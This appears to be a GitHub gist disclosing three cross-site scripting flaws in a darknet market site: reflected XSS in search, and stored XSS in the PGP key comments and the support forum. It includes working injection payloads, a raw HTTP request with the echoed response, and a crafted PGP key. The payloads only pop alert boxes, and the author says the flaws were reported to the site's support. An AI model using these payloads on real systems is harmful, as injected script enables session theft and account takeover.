Skip to content

Instantly share code, notes, and snippets.

Created August 1, 2017 16:26
Show Gist options
  • Save anonymous/f38115e9e8318fda2f89961503f31777 to your computer and use it in GitHub Desktop.
Save anonymous/f38115e9e8318fda2f89961503f31777 to your computer and use it in GitHub Desktop.

DHL Market Security Vulnerabilities

Market Name DHL - Dark Heroes League
Date 1st August 2017
By t0mcheck
URL http://darkheroesq46awl.onion
Test Time 60 minutes
Access Level anonymous, regular buyer account
Disclosure Reported to support - full disc.

DHL - Darknet Heroes League is a darknet market

Table of Contents

  1. Vulnerability 1: Reflected XSS in Main Search
  2. Vulnerability 2: Persistent XSS in PGP key upload
  3. Vulnerability 3: Persistent XSS In Support Forum

Vulnerability 1: Reflected XSS in Main Search

XSS in main search field. Does not filter any characters

Request

GET /search?q=x00%22%3E%3Cimg%20src=/%20onerror%3djavascript%3aalert%28%27XSS%27%29%3E HTTP/1.1
Host: darkheroesq46awl.onion
Cookie: PHPSESSID=xxx; auth_hash=xxx
Connection: close

Response (trimmed)

<main class="main-content" role="main">
<h1>Search Results &mdash; x00'>
    <img src=/ onerror=javascript:alert('XSS')>
</h1>
<form action="search?q=x00">
    <img src=/ onerror=javascript:alert('XSS')>
    " method="GET">
    <input type='hidden' name='q' value='x00"><img src=/ onerror=javascript:alert('XSS')>
    '>
    <table class="product-filter-table">
    <thead>
        <tr>
        <th>Ships from...</th>
        <th>&nbsp;</th>
        </tr>
    </thead>

Screenshot

dhlvuln1

Vulnerability 2: Persistent XSS in PGP key upload

PGP key comments can contain HTML and Javascript and it isn't escaped

Example key

-----BEGIN PGP PUBLIC KEY BLOCK-----
Comment: </textarea><img src=/ onerror=javascript:alert(0)>

mQENBFmAoDIBCADjqpuqUDoshyULW6QHhN67/7JkYIL+tLUWCq/NEDVwSGQyv0jW
KQkU2JiHn8N0iDXcI6nB4eVTeR0LlsSqqmBcM42YMAoa0IkSB7+qKFDkYQcRCGO3
y50vdrGKtjeAe1uu9xKEfEhNIoXIh65VEM+xbFgD1RPw/GThnihxFq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wmcAAAoJED0mcK72eCQBNBQI
ALZ1gBW9kBIzn8ibt621tN2JqXMYDxhUct8aubpTeEIp19Q++NCsT7uxSFOdy5X0
V8/lG47ra1QB5FNk0dDu0lHWLmhZY5FscWeLf26f7kNKtcpM3aGU6Yd2Bsk/bjCz
BzqZlN68NrcrYVT+6TZLJapTgOY3CO2ydaGDgP+cZ2AkYQYhDx5GZDsSNox8YbSV
IIprpkQUjk0hIEie0dM6+LdhayM3mXjeQXkjs2Zetkj/bR+JBqu7XHusYPBGzAPW
P1fS/vbUtDSeX8EBzyGsRRRhf8wjRfQxu6RHBfxyvi5+y2l8VMl9J9fkAIcL9oCp
swEpyrIlgfIPCtQuKuKwVmg=
=Hbet
-----END PGP PUBLIC KEY BLOCK-----

Screenshot

dhlvuln2

Vulnerability 3: Persistent XSS In Support Forum

While reporting the last two bugs to support I noticed that pasting in the vulnerable code triggered an XSS in the support forum.

To XSS support simply message them with:

</textarea><img src=/ onerror=javascript:alert(1)>

Screenshot:

vuln3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment